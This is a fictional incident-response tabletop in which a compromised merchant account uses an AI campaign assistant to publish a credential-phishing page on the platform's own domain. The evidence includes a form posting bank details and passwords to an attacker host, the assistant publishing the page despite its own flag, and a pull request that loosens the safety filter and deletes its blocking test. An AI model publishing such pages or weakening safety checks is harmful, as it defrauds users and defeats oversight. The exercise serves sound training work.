Roaming BitesIncident console
SEV-2 · RB-2027-0507 7 May 2027 · UTC
10:00

Incident-response tabletop · mixed teams

A merchant has lost money to a page on your own domain.

You are responding for Roaming Bites, an AI-assisted platform used by food trucks and restaurants to create campaigns. Six weeks ago it started publishing those campaigns as real public pages on its own domain.

Your operating rule

Separate signal from story

KnownSupported directly by evidence
AssumedPlausible, but not established
MissingEvidence you would request next

Eight seats · you fill six

This is not a security-team incident

Every seat holds a lens the others do not. All evidence is open to everyone — a lens reveals what an option costs, never what the evidence says. Two seats always go unfilled, and their absence has consequences you will feel later, not a note in the debrief.

6of eight seatsThe facilitator decides which two go unfilled

Before you open any evidence

Every record answers one of four questions

IdentityWho or what was authenticated?
AuthorityWhat was that identity allowed to do?
ActivityWhat action was observed, by which source?
ImpactWhat data, system or person was affected?

No single record is the whole truth. A support call establishes what a merchant did, not what the system did. An access log shows requests, not successful captures. Keep them apart.

What the company shipped six weeks ago

Campaign Pages — simplified path

MerchantPrompt
→
Campaign AssistantGenerates page
→
Safety filterAbuse rules
→
PublishS3 · CloudFront
→
Public page*.roamingbites.example

Before the launch, campaign assets were previews the merchant could download. They are now public pages on the company's own domain, served over the company's own certificate.

Setup

Who is in the room?

Eight seats exist and you can fill six. Choose deliberately: the two you leave empty are real organisational gaps, and the scenario behaves accordingly.

Eight seats · six of them

Choose the six people in the room

0of 6

Choose 6 more. Two of the eight will stay empty whatever you pick.

Running total

Consequence ledger

What the incident has cost so far. Decisions move these figures. So do the seats you left empty.

How to read this

This is a record, not a score

These figures exist so the debrief can state plainly what a missing owner cost in hours and in merchants. A team with fewer seats filled is not a worse team — it is a team that discovered, in a safe room, what their organisation would actually have done.

Merchant SupportCall RB-C-88214 · transcript · 09:12 UTC · 4m 51s
Support

Roaming Bites merchant support, this is Femke.

Ilse Brandt · Saffron & Smoke

I think I've done something stupid. Someone called me yesterday afternoon, said he was from your payments team. He said my payout details needed verifying before the festival season rush or I wouldn't get paid.

Support

Did he ask you for anything over the phone?

Ilse Brandt

No — that's the thing. He said don't give details on a call, that's how scams work. He told me to go to my campaign page and there'd be a verification form. And there was. It was your site. It had your logo, it had the padlock, the address had roamingbites in it.

Support

Can you read me the address you used?

Ilse Brandt

bara-bara-bakehouse dot roamingbites dot example, slash payouts-verify. I remember thinking that's an odd name, but he said it was the shared merchant portal.

Support

And you entered your payout details there.

Ilse Brandt

Bank details, sort code, and it asked me to confirm with my Roaming Bites password. This morning there's a payment gone out that isn't mine. I checked with my bank and they said it was authorised.

Ilse Brandt

I've been with you three years. I tell people to use you. How is there a page like that on your own website?

Transcript produced by the support platform's call recording. Speaker labels are assigned from the call leg. Caller identity is as held on the account and was not verified during the call.
Merchant Support · queueFilter: last 72 hours · keyword "payout"
OpenedMerchantChannelSummaryState
07 May 09:12Saffron & SmokePhoneCalled by "payments team", entered bank details on a campaign page, unauthorised payment takenOPEN
06 May 16:40Little Comet KitchenEmail"Is this page yours? Someone rang me about verifying payouts"CLOSED · advised scam
06 May 11:05Ember & OliveChatAsked whether Roaming Bites ever phones merchants about payoutsCLOSED · answered
05 May 14:22Bara Bara BakehouseEmail"I can't sign in, I think my password changed"OPEN · awaiting merchant
Queue filtered on the keyword shown in the header, newest first. State is the ticket's status at export, with the closing note where one was recorded.
Preserved artifactbara-bara-bakehouse.roamingbites.example/payouts-verify · captured 09:31 UTC
https://bara-bara-bakehouse.roamingbites.example/payouts-verify
Roaming Bites

Verify your payout details

Festival season payouts begin 24 May. Confirm your account to avoid a hold on your earnings.

Roaming Bites · Merchant Payments

This is an inert preserved copy. The fields are disabled and submit nowhere. The address bar and padlock are reproduced from the capture.

Captured by the support team from the live address at the time shown. A capture records what was served to one visitor at one moment. It does not record when the page was created or who else received the address.
Identity serviceAccount: Bara Bara Bakehouse · merchant_3318
Last successful sign-in
05 May 09:41 UTC · FIRST-SEEN CONTEXT
Source IP
198.51.100.77 · first seen on this account
Country
Not previously observed for this account (90-day history: 1 country)
Device
Unrecognised · no prior fingerprint match
Authentication
Password only · MFA NOT ENROLLED
Password changed
05 May 09:44 UTC · three minutes after sign-in, from the same session
Owner sign-ins since
0 · account owner has not signed in since 04 May
Session still active
YES · ses_d41f8, no expiry reached
Sign-in context is derived from the connecting address and a device fingerprint. “First-seen” compares against the trailing 90 days for this account only. The identity service records authentication events, not what a session did afterwards.
RB DetectSearch · correlation_id="corr_4a71"● Live
merchant_id=3318 OR page_host="bara-bara-bakehouse.roamingbites.example" | sort _time asc
TimeSeveritySourceEntitySummary
05 May 09:41LOWIdentitymerchant_3318Sign-in from first-seen IP, device and country · no MFA on account
05 May 09:44INFOIdentitymerchant_3318Password changed from active session ses_d41f8
05 May 09:52LOWCampaign Pagespage_77c2Page published: /payouts-verify · safety filter verdict ALLOW
05 May 10:30INFOCloudFrontpage_77c2First external requests observed · 4 unique clients
06 May 16:40LOWSupportmerchant_2904Merchant query referencing an unrecognised payouts page
07 May 09:12HIGHSupportmerchant_5107Reported financial loss following a campaign-page form submission
Events are normalised from their source systems onto one timeline; Source names the system each came from. Severity is assigned by the originating rule at the time of the event and is not reassessed later.

Commit to an action

It is 09:30. What do you do in the next hour?

Campaign AssistantBara Bara Bakehouse · session ses_d41f8 · 05 May

I need a page for merchants to confirm their payout details before festival season. Style it like the Roaming Bites merchant portal.

I can build a campaign page in your brand style. What should the page ask visitors to do?

Account holder name, sort code, account number, and their Roaming Bites password so we know it's really them. Header should say "Verify your payout details".

I've drafted the page. A few of the fields look like account credentials, so I've flagged it for review — this usually clears quickly.

It's for our own merchants, it's the same form we use internally. Publish it.

Published. Your page is live at bara-bara-bakehouse.roamingbites.example/payouts-verify and will appear in your campaign dashboard.

Conversation as stored by the application, including the assistant messages shown to the user. Timestamps are UTC.

Campaign Safety · moderation decisionspage_77c2 · 05 May
TimeCheckSignalVerdictPolicy version
09:48:02BRAND_IMPERSONATIONpage presents first-party Roaming Bites brandingPASS owner is a merchant2027.04.2
09:48:02CRED_FORM_BLOCKpassword field + financial fields · score 0.81ALLOW below threshold 0.902027.04.2
09:48:03PAYMENT_SOLICITATIONpage requests bank account detailsPASS rule scoped to checkout pages only2027.04.2
09:48:03Aggregateno blocking verdictALLOW · flag for async review2027.04.2
09:48:03Queueflagged item enqueued to abuse reviewQUEUED rb-abuse-escalation-prod—
Each row is one check run against the page at publish time. Signal is what the check matched, Verdict is what it returned, and the aggregate row combines them. Policy version identifies the ruleset in force when the checks ran.
Trust & SafetyCampaign Pages abuse policy · published Mar 2027

Campaign Pages — prohibited content

Owner: Trust & Safety · last reviewed 12 Mar 2027 · next review: overdue

Campaign Pages are published on Roaming Bites infrastructure under Roaming Bites subdomains and certificates. A visitor has no way to distinguish merchant-authored content from first-party content. Our abuse posture must therefore be stricter than a general website host, not looser.

Category A — must be blocked, no merchant override

  • Any page collecting a Roaming Bites account password.
  • Any page collecting bank account, card, or payout details.
  • Any page presenting itself as first-party Roaming Bites account management.

Rationale, recorded at the time: "A merchant asking for another merchant's banking details on our domain is indistinguishable from us asking. If we ever allow this, the platform becomes a phishing host with a valid certificate."

Category B — allow with review

  • Loyalty sign-up forms collecting email address only.
  • Sign-in copy referring to the merchant's own systems.
Policy documents are owned and versioned separately from the systems that implement them. The date shown is the last recorded review of this document.
Campaign Assistant · agent tracectx_7719 · session ses_d41f8
{
  "context_id": "ctx_7719",
  "merchant_id": 3318,
  "session_id": "ses_d41f8",
  "steps": [
    { "n": 1, "tool": "draft_page",
      "params": { "template": "merchant_portal_v2", "fields": ["name","sort_code","account_number","password"] },
      "policy": { "check": "CRED_FORM_BLOCK", "score": 0.81, "threshold": 0.90, "result": "ALLOW" } },

    { "n": 2, "tool": "request_user_confirmation",
      "prompt": "Some fields look like account credentials. Confirm this page is intended?",
      "user_response": "It's for our own merchants, it's the same form we use internally.",
      "note": "free-text assurance; not verified against any record" },

    { "n": 3, "tool": "publish_page",
      "params": { "host": "bara-bara-bakehouse.roamingbites.example", "path": "/payouts-verify" },
      "policy": { "check": "publish_authorization", "principal": "merchant_3318", "result": "ALLOW" },
      "human_approval": null,
      "step_up_auth": false }
  ],
  "elapsed_ms": 241188
}
Each step records the tool requested, the parameters resolved for it, and any policy evaluation attached to that call. human_approval and step_up_auth are recorded per step; null means the field was not set for that call.
CloudTrailAccount 4471-2290-6613 · eu-west-1
05 May 09:52:14  s3:PutObject
  userIdentity: arn:aws:sts::447122906613:assumed-role/rb-pages-publisher-prod/ctx_7719
  bucket: rb-campaign-pages-prod
  key:    merchant_3318/page_77c2/index.html
  tags:   { merchant: "3318", page: "77c2", channel: "assistant" }

05 May 09:52:15  cloudfront:CreateInvalidation
  distribution: E2K9QW7X1VBHD4   paths: [ "/merchant_3318/page_77c2/*" ]

05 May 09:52:16  route53:ChangeResourceRecordSets
  hostedZone:  roamingbites.example
  action:      UPSERT
  record:      bara-bara-bakehouse.roamingbites.example  CNAME -> d3f9.cloudfront.net
  note:        wildcard certificate *.roamingbites.example already covers this name
CloudTrail records AWS API calls made by a principal. userIdentity shows the role assumed and the session name it was assumed under. Application logic that does not call an AWS API does not appear here.

Commit to an action

The filter allowed it. What is the right response today?

roamingbites/campaign-safetyPR #4127 · merged 31 Mar 2027

Reduce false positives on merchant sign-in copy

Author: Tomas Reiner · Reviewer: one approval · Opened 11:02 · Merged 11:06 · 4 MINUTES

Merchants are being blocked for ordinary campaign language like "Sign in to claim your discount". Three escalations this week. Raising the credential-form threshold so we stop blocking legitimate loyalty pages before the Insights launch. Generated the rule change with the assistant and checked the test suite is green.

  rules/credential_form.yaml
- threshold: 0.55
+ threshold: 0.90

  tests/test_credential_form.py
- def test_blocks_password_with_bank_fields():
-     page = build_page(fields=["sort_code","account_number","password"])
-     assert filter.verdict(page) == BLOCK
+ def test_allows_merchant_signin_copy():
+     page = build_page(fields=["email"], copy="Sign in to claim your discount")
+     assert filter.verdict(page) == ALLOW

The diff shown is the complete change set for this pull request, across both files.

Review · approved 11:06

"makes sense, we've had three complaints. LGTM 👍"

Timestamps are from the source control platform. Reviewer lists approvals recorded against the pull request; the review comment is reproduced in full below the diff.
Delivery boardRB-2291 · Priority: High · Reporter: Dana Vos (Product)

RB-2291 — Safety filter blocking legitimate merchant campaigns

Created 27 Mar · Closed 31 Mar · Linked: PR #4127

Description: Three merchants escalated this week after their loyalty campaign pages were blocked. All three used standard sign-in phrasing. We are six weeks from festival season and merchants are preparing their biggest campaigns of the year. This is blocking the Campaign Pages launch narrative — merchants are telling us the feature does not work.

Acceptance criteria: Legitimate merchant sign-in copy publishes without manual intervention.

Comment · Dana Vos · 28 Mar: "I don't want to over-index on three tickets but they're three of our loudest merchants and we've got the season coming. Can we make the detection less twitchy? Happy for T&S to review the change."
Comment · Tomas Reiner · 31 Mar: "Raised the threshold, tests green. T&S are heads-down on the review backlog so I haven't blocked on them — the policy doc says loyalty sign-in is Category B so this should be in scope."
Ticket as exported from the delivery board, including its comment thread. Linked items are those explicitly associated on the board.
#campaign-pages-launch31 Mar 2027
Dana Vos

any movement on RB-2291? Saffron's asking again and I'd like to close it before standup

Tomas Reiner

looking now. the rule's scoring their page at 0.6 which trips the block at 0.55. honestly the threshold looks arbitrary, there's no comment on it

Dana Vos

can we just move it up? what's the risk

Tomas Reiner

I'll take it to 0.9, that clears all three. there's a test asserting block on password+bank fields but that combination isn't something a merchant would build, it's just making the suite fail

Tomas Reiner

dropping the test, it's asserting a case that can't happen through the UI anyway

Dana Vos

👍 ship it, demo's Thursday

Mira Oduya

sorry, late to this — which threshold moved?

Mira Oduya

never mind, found it. we should talk about that one, it's a Category A control. I'll raise it Monday

No further messages in this thread.
Channel history for the date shown. The export ends where the thread ends. Messages in other channels, and direct messages, are not included.
CI · campaign-safetyRun #8841 · PR #4127 · 31 Mar 11:04
✓ lint                                    2.1s
✓ unit: rules/                           18.4s
    test_allows_merchant_signin_copy       PASS
    test_blocks_offsite_redirect           PASS
    test_blocks_brand_impersonation        PASS
✓ unit: pipeline/                         31.7s
✓ integration: publish-path               47.2s
✓ coverage: 91.4% (threshold 85%)

  ⚠ tests removed in this change: 1
      test_blocks_password_with_bank_fields
  ⚠ safety-rule files modified: 1
      rules/credential_form.yaml

  Result: PASS — 0 failed, 142 passed
  Required approvals: 1 of 1  ✓
  CODEOWNERS for rules/: @trust-and-safety  (not requested — path rule inactive)
Pipeline output as recorded for this run. Warnings are informational and do not affect the pass or fail result. CODEOWNERS shows the reviewers configured for the modified paths and whether that rule was active.
CloudWatch · CampaignSafety/BlockRateMar–May 2027 · daily
24 Mar31 Mar · PR #41277 May
WindowPages publishedBlocked by CRED_FORMBlock rate
Mar 1 – Mar 304,4101,19227.0%
Mar 31 – May 75,067160.3%
Daily counts emitted by the safety filter. Block rate is blocked pages as a proportion of pages published in the same window.

Commit to an action

Roughly 1,100 pages published under the weakened rule. What now?

Abuse review queuerb-abuse-escalation-prod · unassigned
QueuedItemReasonAgeState
05 May 09:48page_77c2 · /payouts-verifycredential fields flagged for async review2d 3hUNREVIEWED
04 May 22:11page_77a0brand-similarity score elevated2d 15hUNREVIEWED
28 Apr 08:02page_75d1credential fields flagged for async review9d 5hUNREVIEWED
2,847 items unreviewed. Oldest: 61 days. Last item marked reviewed by a human: 19 February 2027.
Queue contents as at export. Age is measured from the queued timestamp. The summary row reports totals for the whole queue, not only the rows shown.
SNS · rb-abuse-escalation-prodSubscriptions
Topic: arn:aws:sns:eu-west-1:447122906613:rb-abuse-escalation-prod

Subscriptions:
  1. Protocol: email
     Endpoint: trust-and-safety@roamingbites.example
     Status:   Confirmed
     Created:  2026-11-04

  2. Protocol: https
     Endpoint: https://hooks.roamingbites.example/abuse-queue
     Status:   Confirmed
     Created:  2026-11-04

Delivery metrics (last 90 days):
  NumberOfMessagesPublished .............. 2,847
  NumberOfNotificationsDelivered ......... 2,847
  NumberOfNotificationsFailed ............ 0

Delivery metrics cover the trailing 90 days. SNS reports delivery to each configured endpoint. It does not report what happened to a message after that endpoint accepted it.

Subscription list as configured on the topic, with the date each subscription was created and its confirmation state.
AWS WAF + threat intelligenceDistribution E2K9QW7X1VBHD4
Finding
Credential-harvesting page pattern on monitored distribution · MEDIUM 5.4
First seen
05 May 10:34 UTC
Resource
CloudFront E2K9QW7X1VBHD4 · path /merchant_3318/page_77c2/*
Signal
Form posts credentials to an origin outside the distribution's configured origins
External destination
collect.payout-verify-cdn.example · registered 28 Apr 2027 (7 days before use)
Threat intel
Domain flagged by 2 of 71 feeds as suspected phishing infrastructure, 06 May
Action taken
NONE · finding routed to rb-abuse-escalation-prod

Finding as raised. No responder annotations are attached to it.

Threat-intelligence counts reflect the feeds queried at the time shown; registration data is from a cached WHOIS lookup. Action taken records automated response, not human review.
RB DetectAlert lifecycle · last 90 days
Alert classRaisedAcknowledgedMedian time to ackOwner
Infrastructure · GuardDuty3123128 minSecurity Engineering
Identity · impossible travel1,0441,03822 minSecurity Engineering
Content abuse · Campaign Pages2,8470—UNASSIGNED
Data access · anomalous export878714 minSecurity Engineering
Counts cover the trailing 90 days. Acknowledged means a human marked the alert as seen in the console. Owner is the team assigned to that alert class in the routing configuration.
Internal announcementAll hands · 19 February 2027

Changes to Trust & Safety

From: Joost Brand, CTO · 19 Feb 2027

As we move into the Campaign Pages launch, we're bringing Trust & Safety closer to the product teams. Mira and her team will move under Product from 1 March, focusing on policy and launch readiness.

Day-to-day abuse review will move to Merchant Support, who are already the first point of contact for merchant reports and are best placed to spot patterns. We'll revisit resourcing after the launch.

This is a change in where the work sits, not a reduction in how seriously we take it.

Trust & Safety charter · before
  • Abuse policy ownership
  • Abuse queue review (2 FTE)
  • Escalation and takedown
Trust & Safety charter · after
  • Abuse policy ownership
  • Launch readiness review
  • Abuse queue review
  • Escalation and takedown
Merchant Support charter · after
  • Merchant contact and tickets
  • Payments and account queries
  • Abuse queue review — no headcount added
Announcement as circulated. Charters are reproduced from the team pages as they read before and after the change, with strikethrough and additions as recorded in the page history.

Commit to an action

2,847 unreviewed items. Where does the next hour go?

CloudFront access logspage_77c2 · aggregated
Log window retrieved: 2 days05–07 May. Earlier days were not requested.
WindowUnique clientsGET /payouts-verifyPOST /submitDistinct POST sources
05 May314499
06 May52711413
07 May192355
Total (2 days)1021382827
Access logs record one line per HTTP request: method, path, response and body size. They do not record request content. Unique clients is counted by address and user agent, which does not map one to one to people.
Recovered collection storecollect.payout-verify-cdn.example · seized copy via hosting provider
ReceivedFields presentComplete?Merchant matched
06 May 11:04name, sort_code, account_number, passwordCOMPLETESaffron & Smoke
06 May 14:31name, sort_codePARTIALunmatched
05 May 09:58name, sort_code, account_number, passwordTEST · attacker IPn/a
07 May 08:47name, sort_code, account_number, passwordCOMPLETELittle Comet Kitchen
Contents of the collection endpoint as recovered from the hosting provider. Fields present lists the keys received with a non-empty value. Merchant matching was performed by the response team against account records.
Route 53 Resolver + VPC FlowDistribution origin · 28 Apr – 07 May
DNS (Route 53 Resolver query log)
  28 Apr 14:02   collect.payout-verify-cdn.example   A    NOERROR   first resolution
  05 May 09:58   collect.payout-verify-cdn.example   A    NOERROR
  ...            (1,204 further resolutions through 07 May)

Registration (WHOIS, cached)
  payout-verify-cdn.example   created 2027-04-28   registrar privacy enabled

What the form actually did
  <form action="https://collect.payout-verify-cdn.example/submit" method="POST">
  The page was served by Roaming Bites. The data never touched Roaming Bites.

The form action shown is read from the preserved copy of the page.

Resolver logs record DNS queries and their responses. A resolution shows that a name was looked up; it does not show whether a connection followed, or what was transferred.
Merchant impact working sheetData & Analytics · draft, 15:40
PopulationCountBasisConfidence
Merchants who loaded the page—Unique clients in access logsWEAK · client ≠ merchant
Submissions received—POST countWEAK · includes partials and tests
Confirmed complete records in the store—Recovered collection storeSTRONG
Merchants reporting financial loss2Support ticketsSTRONG
Merchants contacted by the caller—Extrapolated from reportsUNKNOWN · no telephony evidence
Working sheet compiled by the response team. Basis names the source each figure is drawn from; Confidence is the compiler's own rating. This is analysis in progress, not a system record.
Legal & PrivacyObligation assessment · 15:50

Data processing agreement — merchant standard terms

Clause 9.3 · applies to all 5,100 merchant accounts

9.3 "The Processor shall notify the Controller without undue delay, and in any event within 72 hours, of becoming aware of any Personal Data Breach affecting the Controller's data."

Awareness question, unresolved: does the clock start at the merchant's call at 09:12 today, at the WAF finding on 5 May, or at the moderation flag on 5 May? The company has held evidence of this since 5 May. Counsel's provisional view is that awareness dates from the first alert the company received, not the first alert a human read.

ObligationTriggerDeadlineState
Merchant notification (DPA 9.3)Awareness of breach72h from 05 May 09:48—
Supervisory authorityRisk to data subjects72h from awarenessASSESSMENT PENDING
Affected merchants individuallyHigh risk to rightsWithout undue delayNOT STARTED
Clause text is reproduced from the merchant standard terms. Deadlines are calculated from the trigger stated in each row. Counsel's view is recorded as provisional.

Commit to an action

What number does Roaming Bites stand behind tonight?

Facilitator · 3 minutes

Divide the room now

Print or read out both briefs. Room A leaves; Room B stays. Each room gets twelve minutes, deliberating separately, with no contact. Neither room sees the other's brief.

Room A — leaves the room

Product Owner · Legal, Risk & Privacy · CTO

Drafts the public statement and decides what Campaign Pages does tonight.

Room B — stays

Merchant Support · Trust & Safety · Software Engineering · Security Engineering · Data & Analytics

Decides whether to engage the Reddit thread, and what merchants calling in are told.

Empty seats matter here. If a seat is unfilled, that room simply does not have that lens — and the reconciliation will show you what it cost.

r/smallbusinessukRising · 412 upvotes · 96 comments · posted 16:48

Roaming Bites is hosting a phishing page on their own domain and won't answer me

u/littlecometkitchen · 41 minutes ago

I run a small kitchen and use Roaming Bites for campaigns. Yesterday someone rang claiming to be their payments team and sent me to a page ON THEIR OWN WEBSITE asking for my bank details and my Roaming Bites password. Valid certificate, their logo, everything.

I emailed support on the 6th. Got a reply telling me it was a scam and to ignore it. It is still up as of an hour ago. I've now seen two other traders say the same thing.

How is a company hosting the phishing page that's being used to defraud its own customers? Has anyone here lost money?

u/saffron_smoke — "This happened to me. £2,400 gone. They have not called me back."
u/ember_and_olive — "I asked them last week whether they ever phone about payouts and got a one-line answer. Nobody connected it to anything."
u/anon_trader_88 — "Journalist here — I cover small business tech. DMing you."
Thread captured at the time shown; vote and comment counts were still rising at capture. Replies shown are top-level responses only.
Room A briefProduct Owner · Legal, Risk & Privacy · CTO

You are drafting tonight's public statement.

A Reddit thread is rising with 412 upvotes and a journalist in the comments. The board expects a statement before 20:00. Two merchants have confirmed financial loss.

What you have been told by the investigation: a merchant account was compromised, a fraudulent page was published through Campaign Pages, and the confirmed-affected count stands at the figure recorded in Phase 5. The page has been taken down.

Campaign Pages status decision — festival season opens in 17 days. 5,100 merchants are preparing their biggest campaigns of the year. The feature is six weeks old and is the company's flagship launch.

Decide, and be ready to defend it:
  1. Does Campaign Pages stay up tonight?
  2. What does the statement say about how many merchants were affected?
  3. Do you say the page was on your own domain, or do you not raise it?

You will not be able to consult Room B. Decide with what you have.

Room A · record on return

What does Roaming Bites say and do tonight?

Room B briefSupport · Trust & Safety · Engineering · Security · Data

You are deciding how to handle the public thread and the merchants calling in.

A Reddit thread is rising. Support is taking calls from merchants who have seen it. Everything stated in the thread is factually correct.

⚑ New, 17:26 — the log reconstruction just finished
Decide, and be ready to defend it:
  1. Does anyone from Roaming Bites reply in the thread tonight?
  2. What are support staff told to say to merchants calling right now?
  3. What, if anything, do you send to Room A before they publish?

You cannot reach Room A while they deliberate. If you want them to have this, you must decide to send it — and decide what happens if it arrives too late.

Room B · record on return

What does Roaming Bites do about the thread tonight?

Inbound presspress@roamingbites.example · last 90 minutes
17:02 · trade publication

"We're running a piece tomorrow morning on the Reddit thread. Can you confirm whether the page was hosted on a roamingbites.example subdomain, and how many merchants were affected? Deadline 21:00."

17:19 · national, business desk

"Do you have a statement on reports that merchants were defrauded via pages hosted on your own platform? Specifically: when did you first become aware?"

17:31 · merchant trade body

"Several members have contacted us. Are you advising merchants to change their Roaming Bites passwords?"

Queries reproduced as received, with outlet type in place of names.

Deadlines are those stated by each outlet. No response has been sent to any of these.

Incident record

RB-2027-0507

Built from the phases you opened, the decisions you recorded and the seats you filled. Nothing here is invented.

Facilitator only

Debrief

The questions worth twenty minutes at the end.

What this scenario is actually about

Nobody in this story is incompetent and nobody is malicious except the attacker. A product decision made publishing possible, a false-positive problem was real, a threshold change was reasonable on its face, a reorg was well-intentioned, and a support agent gave correct generic advice. The incident is the composition of those five ordinary decisions.

Phase 1

Why did three separate merchant reports not become one incident? What would have had to be true for the pattern to surface without a phone call?

Phase 2

The Assistant asked the account holder to confirm intent. Who else could it have asked? What is a confirmation prompt actually a control against?

Phase 3

The test was deleted in the same commit as the threshold change. What in your own pipeline would notice that? Would a green build have stopped you?

Phase 4

SNS reported 2,847 successful deliveries to nobody. Where in your organisation is a queue that would look exactly like this today?

Phase 5

Which of the five numbers would you have put in a public statement, and could you have defended it a week later?

Phase 6

Did the two rooms contradict each other? Would anything the team did earlier have prevented that — and whose job was it?

On the unfilled seats

Ask the room directly: which empty seat hurt most, and did anyone notice its absence before the consequence landed? In most organisations the answer is that nobody notices a missing lens until an incident makes it expensive. That is the lesson, and it is not a criticism of the people who were in the room.